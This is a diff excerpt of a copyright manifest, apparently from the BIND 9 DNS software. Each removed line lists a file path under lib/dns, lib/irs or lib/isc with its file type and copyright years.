-./lib/dns/rdata/generic/lp_107.c		C	2013,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/lp_107.h		C	2013,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/mb_7.c			C	1998,1999,2000,2001,2004,2007,2009,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/mb_7.h			C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/md_3.c			C	1998,1999,2000,2001,2004,2007,2009,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/md_3.h			C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/mf_4.c			C	1998,1999,2000,2001,2004,2007,2009,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/mf_4.h			C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/mg_8.c			C	1998,1999,2000,2001,2004,2007,2009,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/mg_8.h			C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/minfo_14.c		C	1998,1999,2000,2001,2004,2007,2009,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/minfo_14.h		C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/mr_9.c			C	1998,1999,2000,2001,2004,2007,2009,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/mr_9.h			C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/mx_15.c			C	1998,1999,2000,2001,2003,2004,2005,2007,2009,2012,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/mx_15.h			C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/naptr_35.c		C	1999,2000,2001,2003,2004,2005,2007,2008,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/naptr_35.h		C	1999,2000,2001,2004,2005,2007,2011,2012,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/nid_104.c		C	2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/nid_104.h		C	2013,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/ninfo_56.c		C	2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/ninfo_56.h		C	2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/ns_2.c			C	1998,1999,2000,2001,2004,2007,2009,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/ns_2.h			C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/nsec3_50.c		C	2008,2009,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/nsec3_50.h		C	2008,2011,2012,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/nsec3param_51.c		C	2008,2009,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/nsec3param_51.h		C	2008,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/nsec_47.c		C	2003,2004,2007,2008,2009,2011,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/nsec_47.h		C	2003,2004,2005,2007,2008,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/null_10.c		C	1998,1999,2000,2001,2002,2004,2007,2009,2011,2012,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/null_10.h		C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/nxt_30.c		C	1999,2000,2001,2002,2003,2004,2005,2007,2009,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/nxt_30.h		C	1999,2000,2001,2002,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/openpgpkey_61.c		C	2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/openpgpkey_61.h		C	2014,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/opt_41.c		C	1998,1999,2000,2001,2002,2004,2005,2007,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/opt_41.h		C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/proforma.c		C	1998,1999,2000,2001,2002,2004,2007,2009,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/proforma.h		C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/ptr_12.c		C	1998,1999,2000,2001,2004,2007,2009,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/ptr_12.h		C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/rkey_57.c		C	2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/rkey_57.h		C	2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/rp_17.c			C	1999,2000,2001,2004,2005,2007,2009,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/rp_17.h			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/rrsig_46.c		C	2003,2004,2005,2007,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/rrsig_46.h		C	2003,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/rt_21.c			C	1999,2000,2001,2003,2004,2005,2007,2009,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/rt_21.h			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/sig_24.c		C	1999,2000,2001,2002,2003,2004,2005,2007,2009,2011,2012,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/sig_24.h		C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/sink_40.c		C	2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/sink_40.h		C	2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/smimea_53.c		C	2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/smimea_53.h		C	2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/soa_6.c			C	1998,1999,2000,2001,2002,2004,2007,2009,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/soa_6.h			C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/spf_99.c		C	1998,1999,2000,2001,2002,2004,2005,2007,2009,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/spf_99.h		C	1998,1999,2000,2001,2004,2005,2007,2014,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/sshfp_44.c		C	2003,2004,2006,2007,2009,2011,2012,2013,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/sshfp_44.h		C	2003,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/ta_32768.c		C	2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/ta_32768.h		C	2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/talink_58.c		C	2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/talink_58.h		C	2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/tkey_249.c		C	1999,2000,2001,2002,2003,2004,2007,2009,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/tkey_249.h		C	1999,2000,2001,2003,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/tlsa_52.c		C	2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/tlsa_52.h		C	2012,2014,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/txt_16.c		C	1998,1999,2000,2001,2002,2004,2007,2008,2009,2012,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/txt_16.h		C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/uri_256.c		C	2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/generic/uri_256.h		C	2011,2012,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/x25_19.c		C	1999,2000,2001,2002,2004,2005,2007,2009,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/x25_19.h		C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/generic/zonemd_63.c		C	2019,2020,2021
-./lib/dns/rdata/generic/zonemd_63.h		C	2019,2020,2021
-./lib/dns/rdata/hs_4/a_1.c			C	1999,2000,2001,2002,2004,2007,2009,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/hs_4/a_1.h			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/a6_38.c			C	1999,2000,2001,2002,2003,2004,2007,2009,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/in_1/a6_38.h			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/a_1.c			C	1998,1999,2000,2001,2002,2004,2007,2009,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/a_1.h			C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/aaaa_28.c			C	1999,2000,2001,2002,2004,2005,2007,2009,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/aaaa_28.h			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/apl_42.c			C	2002,2004,2005,2007,2008,2009,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/apl_42.h			C	2002,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/atma_34.c			C	2018,2019,2020,2021
-./lib/dns/rdata/in_1/atma_34.h			C	2018,2019,2020,2021
-./lib/dns/rdata/in_1/dhcid_49.c			C	2006,2007,2009,2011,2012,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/in_1/dhcid_49.h			C	2006,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/eid_31.c			C	2018,2019,2020,2021
-./lib/dns/rdata/in_1/eid_31.h			C	2018,2019,2020,2021
-./lib/dns/rdata/in_1/kx_36.c			C	1999,2000,2001,2003,2004,2005,2007,2009,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/in_1/kx_36.h			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/nimloc_32.c		C	2018,2019,2020,2021
-./lib/dns/rdata/in_1/nimloc_32.h		C	2018,2019,2020,2021
-./lib/dns/rdata/in_1/nsap-ptr_23.c		C	1999,2000,2001,2004,2005,2007,2009,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/nsap-ptr_23.h		C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/nsap_22.c			C	1999,2000,2001,2002,2004,2005,2007,2009,2013,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/in_1/nsap_22.h			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/px_26.c			C	1999,2000,2001,2003,2004,2005,2007,2009,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/in_1/px_26.h			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/srv_33.c			C	1999,2000,2001,2003,2004,2005,2007,2009,2015,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/srv_33.h			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/in_1/wks_11.c			C	1999,2000,2001,2002,2004,2007,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdata/in_1/wks_11.h			C	1999,2000,2001,2004,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/rdatastructpre.h		C	1999,2000,2001,2004,2007,2016,2018,2019,2020,2021
-./lib/dns/rdata/rdatastructsuf.h		C	1999,2000,2001,2004,2007,2016,2018,2019,2020,2021
-./lib/dns/rdatalist.c				C	1999,2000,2001,2003,2004,2005,2007,2008,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdatalist_p.h				C	2000,2001,2004,2005,2007,2008,2015,2016,2018,2019,2020,2021
-./lib/dns/rdataset.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rdatasetiter.c			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/rdataslab.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/request.c				C	2000,2001,2002,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/resolver.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/result.c				C	1998,1999,2000,2001,2002,2003,2004,2005,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rootns.c				C	1999,2000,2001,2002,2004,2005,2007,2008,2010,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rpz.c					C	2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/rriterator.c				C	2009,2011,2012,2015,2016,2018,2019,2020,2021
-./lib/dns/rrl.c					C	2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/sdb.c					C	2000,2001,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/sdlz.c				C.PORTION	1999,2000,2001,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/soa.c					C	2000,2001,2004,2005,2007,2009,2016,2018,2019,2020,2021
-./lib/dns/ssu.c					C	2000,2001,2003,2004,2005,2006,2007,2008,2010,2011,2013,2014,2016,2017,2018,2019,2020,2021
-./lib/dns/ssu_external.c			C	2011,2012,2013,2016,2017,2018,2019,2020,2021
-./lib/dns/stats.c				C	2000,2001,2004,2005,2007,2008,2009,2012,2016,2018,2019,2020,2021
-./lib/dns/tcpmsg.c				C	1999,2000,2001,2004,2005,2006,2007,2015,2016,2018,2019,2020,2021
-./lib/dns/tests/Kdh.+002+18602.key		X	2014,2018,2019,2020,2021
-./lib/dns/tests/Krsa.+005+29235.key		X	2016,2018,2019,2020,2021
-./lib/dns/tests/acl_test.c			C	2016,2018,2019,2020,2021
-./lib/dns/tests/db_test.c			C	2013,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/tests/dbdiff_test.c			C	2011,2012,2016,2017,2018,2019,2020,2021
-./lib/dns/tests/dbiterator_test.c		C	2011,2012,2016,2018,2019,2020,2021
-./lib/dns/tests/dbversion_test.c		C	2011,2012,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/tests/dh_test.c			C	2014,2016,2018,2019,2020,2021
-./lib/dns/tests/dispatch_test.c			C	2012,2014,2016,2018,2019,2020,2021
-./lib/dns/tests/dns64_test.c			C	2019,2020,2021
-./lib/dns/tests/dnstap_test.c			C	2015,2016,2017,2018,2019,2020,2021
-./lib/dns/tests/dnstest.c			C	2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/tests/dnstest.h			C	2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/tests/dst_test.c			C	2018,2019,2020,2021
-./lib/dns/tests/geoip_test.c			C	2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/tests/keytable_test.c			C	2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/tests/master_test.c			C	2011,2012,2013,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/tests/mkraw.pl			PERL	2011,2012,2016,2018,2019,2020,2021
-./lib/dns/tests/name_test.c			C	2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/tests/nsec3_test.c			C	2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/tests/nsec3param_test.c		C	2020,2021
-./lib/dns/tests/peer_test.c			C	2014,2016,2018,2019,2020,2021
-./lib/dns/tests/private_test.c			C	2011,2012,2016,2018,2019,2020,2021
-./lib/dns/tests/rbt_serialize_test.c		C	2014,2015,2016,2018,2019,2020,2021
-./lib/dns/tests/rbt_test.c			C	2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/tests/rdata_test.c			C	2012,2013,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/tests/rdataset_test.c			C	2012,2016,2018,2019,2020,2021
-./lib/dns/tests/rdatasetstats_test.c		C	2012,2015,2016,2018,2019,2020,2021
-./lib/dns/tests/resolver_test.c			C	2018,2019,2020,2021
-./lib/dns/tests/result_test.c			C	2018,2019,2020,2021
-./lib/dns/tests/rsa_test.c			C	2016,2018,2019,2020,2021
-./lib/dns/tests/sigs_test.c			C	2018,2019,2020,2021
-./lib/dns/tests/testdata/dbiterator/zone2.data	X	2011,2018,2019
-./lib/dns/tests/testdata/dnstap/dnstap.saved	X	2015,2017,2018,2019,2020,2021
-./lib/dns/tests/testdata/dnstap/dnstap.text	X	2015,2017,2018,2019,2020,2021
-./lib/dns/tests/testdata/dnstap/query.auth	X	2015,2018,2019,2020,2021
-./lib/dns/tests/testdata/dnstap/query.recursive	X	2015,2018,2019,2020,2021
-./lib/dns/tests/testdata/dnstap/response.auth	X	2015,2018,2019,2020,2021
-./lib/dns/tests/testdata/dnstap/response.recursive	X	2015,2018,2019,2020,2021
-./lib/dns/tests/testdata/dst/Ktest.+008+11349.key	X	2018,2019,2020,2021
-./lib/dns/tests/testdata/dst/Ktest.+008+11349.private	X	2018,2019,2020,2021
-./lib/dns/tests/testdata/dst/Ktest.+013+49130.key	X	2018,2019,2020,2021
-./lib/dns/tests/testdata/dst/Ktest.+013+49130.private	X	2018,2019,2020,2021
-./lib/dns/tests/testdata/dst/test1.data		X	2018,2019
-./lib/dns/tests/testdata/dst/test1.ecdsa256sig	X	2018,2019,2020,2021
-./lib/dns/tests/testdata/dst/test1.rsasha256sig	X	2018,2019,2020,2021
-./lib/dns/tests/testdata/dst/test2.data		X	2018,2019
-./lib/dns/tests/testdata/dstrandom/random.data	X	2017,2018,2019
-./lib/dns/tests/testdata/master/master1.data	X	2011,2018,2019
-./lib/dns/tests/testdata/master/master10.data	X	2011,2018,2019
-./lib/dns/tests/testdata/master/master11.data	X	2011,2018,2019
-./lib/dns/tests/testdata/master/master12.data.in	X	2011,2018,2019
-./lib/dns/tests/testdata/master/master13.data.in	X	2011,2018,2019
-./lib/dns/tests/testdata/master/master14.data.in	X	2011,2018,2019
-./lib/dns/tests/testdata/master/master15.data	X	2012,2018,2019
-./lib/dns/tests/testdata/master/master16.data	X	2012,2018,2019
-./lib/dns/tests/testdata/master/master17.data	X	2012,2018,2019
-./lib/dns/tests/testdata/master/master18.data	X	2018,2019
-./lib/dns/tests/testdata/master/master2.data	X	2011,2018,2019
-./lib/dns/tests/testdata/master/master3.data	X	2011,2018,2019
-./lib/dns/tests/testdata/master/master4.data	X	2011,2018,2019
-./lib/dns/tests/testdata/master/master5.data	X	2011,2018,2019
-./lib/dns/tests/testdata/master/master6.data	X	2011,2018,2019
-./lib/dns/tests/testdata/master/master7.data	X	2011,2018,2019
-./lib/dns/tests/testdata/master/master8.data	X	2011,2018,2019
-./lib/dns/tests/testdata/master/master9.data	X	2011,2018,2019
-./lib/dns/tests/testkeys/Kexample.+008+20386.key	X	2018,2019,2020,2021
-./lib/dns/tests/testkeys/Kexample.+008+20386.private	X	2018,2019,2020,2021
-./lib/dns/tests/testkeys/Kexample.+008+37464.key	X	2018,2019,2020,2021
-./lib/dns/tests/testkeys/Kexample.+008+37464.private	X	2018,2019,2020,2021
-./lib/dns/tests/time_test.c			C	2011,2012,2016,2018,2019,2020,2021
-./lib/dns/tests/tsig_test.c			C	2017,2018,2019,2020,2021
-./lib/dns/tests/update_test.c			C	2011,2012,2014,2016,2017,2018,2019,2020,2021
-./lib/dns/tests/zonemgr_test.c			C	2011,2012,2013,2015,2016,2018,2019,2020,2021
-./lib/dns/tests/zt_test.c			C	2011,2012,2016,2018,2019,2020,2021
-./lib/dns/time.c				C	1998,1999,2000,2001,2002,2003,2004,2005,2007,2009,2010,2011,2012,2014,2016,2017,2018,2019,2020,2021
-./lib/dns/timer.c				C	2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/tkey.c				C	1999,2000,2001,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/dns/transport.c				C	2021
-./lib/dns/tsec.c				C	2009,2010,2016,2017,2018,2019,2020,2021
-./lib/dns/tsig.c				C	1999,2000,2001,2002,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/tsig_p.h				C	2017,2018,2019,2020,2021
-./lib/dns/ttl.c					C	1999,2000,2001,2004,2005,2007,2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./lib/dns/update.c				C	2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/validator.c				C	2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/view.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/xfrin.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/zone.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/dns/zone_p.h				C	2018,2019,2020,2021
-./lib/dns/zonekey.c				C	2001,2003,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/dns/zoneverify.c				C	2018,2019,2020,2021
-./lib/dns/zt.c					C	1999,2000,2001,2002,2004,2005,2006,2007,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/irs/include/irs/resconf.h			C	2009,2014,2016,2018,2019,2020,2021
-./lib/irs/resconf.c				C	2009,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/irs/tests/resconf_test.c			C	2016,2018,2019,2020,2021
-./lib/irs/tests/testdata/domain.conf		CONF-SH	2016,2018,2019
-./lib/irs/tests/testdata/nameserver-v4.conf	CONF-SH	2016,2018,2019
-./lib/irs/tests/testdata/nameserver-v6-scoped.conf	CONF-SH	2018,2019
-./lib/irs/tests/testdata/nameserver-v6.conf	CONF-SH	2016,2018,2019
-./lib/irs/tests/testdata/options-bad-ndots.conf	CONF-SH	2018,2019
-./lib/irs/tests/testdata/options-debug.conf	CONF-SH	2016,2018,2019
-./lib/irs/tests/testdata/options-empty.conf	CONF-SH	2018,2019
-./lib/irs/tests/testdata/options-ndots.conf	CONF-SH	2016,2018,2019
-./lib/irs/tests/testdata/options-timeout.conf	CONF-SH	2016,2018,2019
-./lib/irs/tests/testdata/options-unknown.conf	CONF-SH	2016,2018,2019
-./lib/irs/tests/testdata/options.conf		CONF-SH	2016,2018,2019
-./lib/irs/tests/testdata/port.conf		CONF-SH	2016,2018,2019
-./lib/irs/tests/testdata/resolv.conf		CONF-SH	2016,2018,2019
-./lib/irs/tests/testdata/search.conf		CONF-SH	2016,2018,2019
-./lib/irs/tests/testdata/sortlist-v4.conf	CONF-SH	2016,2018,2019
-./lib/irs/tests/testdata/timeout.conf		CONF-SH	2016,2018,2019
-./lib/irs/tests/testdata/unknown.conf		CONF-SH	2016,2018,2019
-./lib/isc/aes.c					C	2014,2016,2017,2018,2019,2020,2021
-./lib/isc/app.c					C	1999,2000,2001,2002,2003,2004,2005,2007,2008,2009,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/assertions.c				C	1997,1998,1999,2000,2001,2004,2005,2007,2008,2009,2015,2016,2018,2019,2020,2021
-./lib/isc/astack.c				C	2019,2020,2021
-./lib/isc/backtrace.c				C	2009,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/isc/base32.c				C	2008,2009,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/isc/base64.c				C	1998,1999,2000,2001,2003,2004,2005,2007,2009,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/isc/bind9.c				C	2013,2016,2018,2019,2020,2021
-./lib/isc/buffer.c				C	1998,1999,2000,2001,2002,2004,2005,2006,2007,2008,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/commandline.c				C.PORTION	1999,2000,2001,2004,2005,2007,2008,2014,2015,2016,2018,2019,2020,2021
-./lib/isc/condition.c				C	1998,1999,2000,2001,2004,2005,2007,2012,2016,2018,2019,2020,2021
-./lib/isc/counter.c				C	2014,2016,2018,2019,2020,2021
-./lib/isc/crc64.c				C	2013,2016,2018,2019,2020,2021
-./lib/isc/dir.c					C	1999,2000,2001,2004,2005,2007,2008,2009,2011,2012,2016,2017,2018,2019,2020,2021
-./lib/isc/entropy.c				C	2018,2019,2020,2021
-./lib/isc/entropy_private.h			C	2018,2019,2020,2021
-./lib/isc/errno.c				C	2016,2018,2019,2020,2021
-./lib/isc/errno2result.c			C	2000,2001,2002,2004,2005,2007,2011,2012,2013,2016,2018,2019,2020,2021
-./lib/isc/errno2result.h			C	2000,2001,2004,2005,2007,2011,2012,2016,2018,2019,2020,2021
-./lib/isc/error.c				C	1998,1999,2000,2001,2004,2005,2007,2015,2016,2018,2019,2020,2021
-./lib/isc/event.c				C	1998,1999,2000,2001,2004,2005,2007,2014,2016,2017,2018,2019,2020,2021
-./lib/isc/file.c				C	2000,2001,2002,2004,2005,2007,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/fsaccess.c				C	2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isc/fsaccess_common.c			C	2000,2001,2004,2005,2007,2016,2017,2018,2019,2020,2021
-./lib/isc/fsaccess_common_p.h			C	2000,2001,2004,2005,2007,2016,2017,2018,2019,2020,2021
-./lib/isc/glob.c				C	2020,2021
-./lib/isc/hash.c				C	2003,2004,2005,2006,2007,2009,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/heap.c				C	1997,1998,1999,2000,2001,2004,2005,2006,2007,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/hex.c					C	2000,2001,2002,2003,2004,2005,2007,2008,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/isc/hmac.c				C	2000,2001,2004,2005,2006,2007,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/hp.c					C	2019,2020,2021
-./lib/isc/ht.c					C	2016,2017,2018,2019,2020,2021
-./lib/isc/httpd.c				C	2006,2007,2008,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/aes.h			C	2014,2016,2018,2019,2020,2021
-./lib/isc/include/isc/align.h			C	2019,2020,2021
-./lib/isc/include/isc/app.h			C	1999,2000,2001,2004,2005,2006,2007,2009,2013,2014,2015,2016,2018,2019,2020,2021
-./lib/isc/include/isc/assertions.h		C	1997,1998,1999,2000,2001,2004,2005,2006,2007,2008,2009,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/astack.h			C	2019,2020,2021
-./lib/isc/include/isc/atomic.h			C	2018,2019,2020,2021
-./lib/isc/include/isc/attributes.h		C	2020,2021
-./lib/isc/include/isc/backtrace.h		C	2009,2016,2018,2019,2020,2021
-./lib/isc/include/isc/barrier.h			C	2021
-./lib/isc/include/isc/base32.h			C	2008,2014,2016,2018,2019,2020,2021
-./lib/isc/include/isc/base64.h			C	1999,2000,2001,2004,2005,2006,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/bind9.h			C	2009,2013,2016,2018,2019,2020,2021
-./lib/isc/include/isc/buffer.h			C	1998,1999,2000,2001,2002,2004,2005,2006,2007,2008,2010,2012,2014,2016,2017,2018,2019,2020,2021
-./lib/isc/include/isc/cmocka.h			C	2020,2021
-./lib/isc/include/isc/commandline.h		C	1999,2000,2001,2004,2005,2006,2007,2015,2016,2018,2019,2020,2021
-./lib/isc/include/isc/condition.h		C	1998,1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/counter.h			C	2014,2016,2018,2019,2020,2021
-./lib/isc/include/isc/crc64.h			C	2013,2016,2018,2019,2020,2021
-./lib/isc/include/isc/deprecated.h		C	2017,2018,2019,2020,2021
-./lib/isc/include/isc/dir.h			C	1999,2000,2001,2004,2005,2007,2016,2018,2019,2020,2021
-./lib/isc/include/isc/endian.h			C	2019,2020,2021
-./lib/isc/include/isc/errno.h			C	2016,2018,2019,2020,2021
